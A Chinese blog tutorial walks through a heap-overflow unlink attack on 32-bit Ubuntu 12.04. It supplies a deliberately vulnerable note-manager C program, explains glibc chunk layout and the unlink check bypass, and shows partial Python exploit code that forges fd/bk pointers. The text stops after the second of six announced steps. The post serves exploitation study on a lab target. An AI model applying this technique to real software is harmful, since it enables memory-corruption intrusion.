欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]成功通过堆溢出,绕过unlink限制,实现GOT表覆写进行命令执行

[原创]成功通过堆溢出,绕过unlink限制,实现GOT表覆写进行命令执行

      终于成功实现了ubuntu12.04 32位系统上,通过堆溢出,绕过unlink限制,实现GOT表覆写进行命令执行。前一段时间还发帖求助,说GOT无法覆写,今天终于找到了原因,其实是因为notes是程序运行时第一次malloc分配的,很大几率在内存边界,然后unlink时,note[0]=notes-12时,在写入时就是非法访问,导致出错。解决办法就是在notes前面,malloc一个临时空间tmp,然后notes-12的地址,就会指向tmp,也就不会是非法访问。

另外notes数组中存放small bin chunk的地址,也就是NOTE SIZE的大小要大于0x64,避免分配fastbins,因为fastbin中空闲chunk不会合并,也就无法进行地址任意写。

下面就详细讲讲漏洞利用过程。

漏洞代码unlink.c如下:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <dlfcn.h>

#include <stdint.h>

#define MAX_INDEX 9

#define NOTE_SIZE 0x80

//we want to be big enough not to use fastbins

char **notes;

void handle_cmd(int cmd, int note_index, char * note,int note_size)

{

	switch (cmd)

	{

		case 0: //malloc

			notes[note_index]=(char *)malloc(NOTE_SIZE);

			memset(notes[note_index], 0, NOTE_SIZE);

			if (NULL != note && note_size > 0) //initial note

			{

				memcpy(notes[note_index], note, note_size);

			}

			break;

		case 1: //free

			free(notes[note_index]);

			//printf("delete notes%d success\n", note_index);

			break;

		case 2: //edit note

			if (NULL != note && note_size>0)

			{

				memcpy(notes[note_index], note, note_size);

			}

			break;

		default:

			break;

	}

}

void read_input(char * buf, int read_len, int buf_size)

{

	if (NULL == buf || read_len <= 0)

		return;

	memset(buf, 0, buf_size);

	int i = 0;

	char temp_char;

	while(1)

	{

		temp_char = getchar();

		if (i<read_len)

			buf[i] = temp_char;

		if (temp_char == 0xA)

			break;

		i++;

	}

}

uint32_t read_input_uint(char *buf, int read_len, int buf_size)

{

	read_input(buf, read_len, buf_size);

	return strtoul(buf, 0, 10);

}

int main()

{

	char note[NOTE_SIZE*2];

	memset(note, 0, sizeof(note));

	char input_buffer[0x1000];

	char usage[128]="usage: 0:malloc 1:free 2:edit 3:exit\ninput cmd and note index (eg:0,1 -> cmd=0,note_index=1):\n";

	int cmd = 0, note_index = 0, note_len = 0;

	char *tmp = (char *)malloc(0x30);	//avoid notes become first,because write notes-12 is error when notes is first malloc

	notes =(char **) malloc((MAX_INDEX+1)*4);

	while(1)

	{

		write(STDOUT_FILENO, usage, strlen(usage));

		//read command

		read_input(input_buffer, sizeof(input_buffer), sizeof(input_buffer));

		sscanf(input_buffer, "%d,%d", &cmd, &note_index);

		if (cmd==3) //exit

			break;

		if (0 == cmd || 2 == cmd) //get note content inputed

		{

			//read note len

			write(STDOUT_FILENO, "input note len:\n", 16);

			note_len = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer));

			//read note content

			write(STDOUT_FILENO, "input note:\n", 12);

			read_input(note, note_len, sizeof(note));

		}

		handle_cmd(cmd, note_index, note, note_len);

	}

	return 0;

}

上述代码的作用是:

该代码主要功能是建立一个note,并保存用户的输入到该note,每一个note的大小为0x80,总共可以新建10个note,每个note可以通过notes这个全局变量来索引。比如新建一个note,索引为0,note0的内容为”1234“;然后把note0的内容重新改为”5678”;接着释放掉note0,;最后退出程序。其操作如下:

./unlink

usage: 0:malloc 1:free 2:edit 3:exit

input cmd and note index (eg:0,1 -> cmd=0,note_index=1):

0,0    //新建note 0

input note len:

4     //输入note 0的内容长度

input note:

1234  //输入note 0的内容

usage: 0:malloc 1:free 2:edit 3:exit

input cmd and note index (eg:0,1 -> cmd=0,note_index=1):

2,0   //修改note 0的内容

input note len:

4     //输入note 0的内容长度

input note:

5678  //输入note 0的内容

usage: 0:malloc 1:free 2:edit 3:exit

input cmd and note index (eg:0,1 -> cmd=0,note_index=1):

1,0   //释放note 0

usage: 0:malloc 1:free 2:edit 3:exit

input cmd and note index (eg:0,1 -> cmd=0,note_index=1):

3   //退出程序

unlink漏洞基础知识准备:

alloc chunk结构:



prev_size:若上一个chunk可用,则此结构成员赋值为上一个chunk的大小;否则若上一个chunk被分配,此结构成员为上一个chunk的用户数据。Size:此结构成员赋值为已分配chunk大小(包括chunk size和prev_size所占用的空间),其最后三位包含标志(flag)信息.

1)PREV_INUSE(P)—置”1”表示上一个chunk被分配

2)IS_MMAPPED(M) 置“1”表示这一个「chunk」是直接mmap申请的;

3)NON_MAIN_ARENA(N) 置“1”表示这一个「chunk」属于一个「thread arena」


free chunk结构:


prev_size:两个空闲「chunk」不能毗连,而应合并成一个。因此前一个「chunk」和后一个空闲「chunk」都会被分配,此时 prev_size 中保存上一个「chunk」的用户数据。 size:该结构成员保存本空闲「chunk」的大小(包括pre_size、size、fd和bk所占用的空间)。 

fd:Forward pointer ——指向同一「bin」中的下一个「chunk」(而非物理内存中下一块)。

bk:Backward pointer ——指向同一「bin」中的上一个「chunk」(而非物理内存中上一块)。

注意:

1)malloc_chunk中的其余结构成员,如fd、bk不用于已分配的chunk,在已分配的chunk中fd和bk用来存储用户数据;

2)用户请求的大小会被转换成可用大小(内部显示大小):chunk块需要额外分配prev_size和size字段,并且内存分配需要满足需要8字节对齐

3)当前chunk块是否空闲,由后一块(物理相邻,而非fd指向的chunk)的P标志位决定。


漏洞利用过程分为6步:

1)第一步:新建note0和note1;

               #step 1 new malloc note0 and note1

print "\nmalloc note0 and note1"

change_note_content(0,0,4,"aaaa")

change_note_content(0,1,4,"aaaa")

新建的两个note,内容均为“aaaa”,并把这两个note的地址,存入到notes数组中。

2)第二步:chunk块伪造,并利用note0块堆溢出,覆盖chunk块note1的P标志位和prev_size;

在note0中伪造fake note0(fake fd = notes_addr-12,fake bk=notes_addr-8),同时通过堆溢出改写note1的P标志位和pre_size,让系统以为note1前面是空闲的chunk;

               #step2 fake fd,bk note0 and note1's presize,size

print "\n fake data padding note0 and note1"

notes_addr = int(raw_input("notes address:"), 16)

#content = fake pre_size +fake size + fake_fd + fake_bk + "c"*0x70 + fake_presize + modify_pre_inuse_flag

#next pre_size= content+pre_size + size+fd+bk,0x81 to make note0‘s privious chunk is using,0x88 make note0 seems is free

    note0_content = p32(0x0)+p32(0x81) + p32(notes_addr - 12) + p32(notes_addr - 8) + "c" * 0x70 + p32(0x80) + p32(0x88)

    change_note_content(2,0, 0x88, note0_content)

free(note1)时,由于系统认为note0是空闲的,当free一个内存块时,会检查前一个内存块是否是空闲的,如果是,首先会调用unlink()函数将前一个空闲内存块从空闲链表中移除,然后将当前内存块和前一个内存块合并,最后将合并后的内存块加入空闲链表中。(当然也会检查后一个内存块是否空闲,其实原理是一样的。

unlink操作如下:会进行双链表检测

F = p -> fd;  //F = notes - 12

B = p -> bk;  //B = notes - 8

if (F -> bk == p && B -> fd == p){

  F -> bk = B;  // 即notes[0] = B = notes - 8

  B -> fd = F;  // 即notes[0] = F = notes -12

}

双链表检测的关键就是:F->bk=B->fd=P,所以需要绕过,绕过unlink检测的就是在:找到一个已知地址x,该x指向p(p指向要释放的堆中的块,*x=p)


本例中notes地址就是,因为*notes=chunk note0的地址,刚好满足绕过条件。

其中notes的地址,这里取巧一下,通过gdb获得,一定要记得gdb获得地址信息好后,要退出gdb调试,否则exp.py无法继续运行。

(gdb) p/x notes

$1 = 0x8b30040

(gdb) p free

$2 = {<text variable, no debug info>} 0xb75e73d0 <free>

此时的内存布局如下(此图来自ManyFace):

[图片:fake_free_note.png]

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功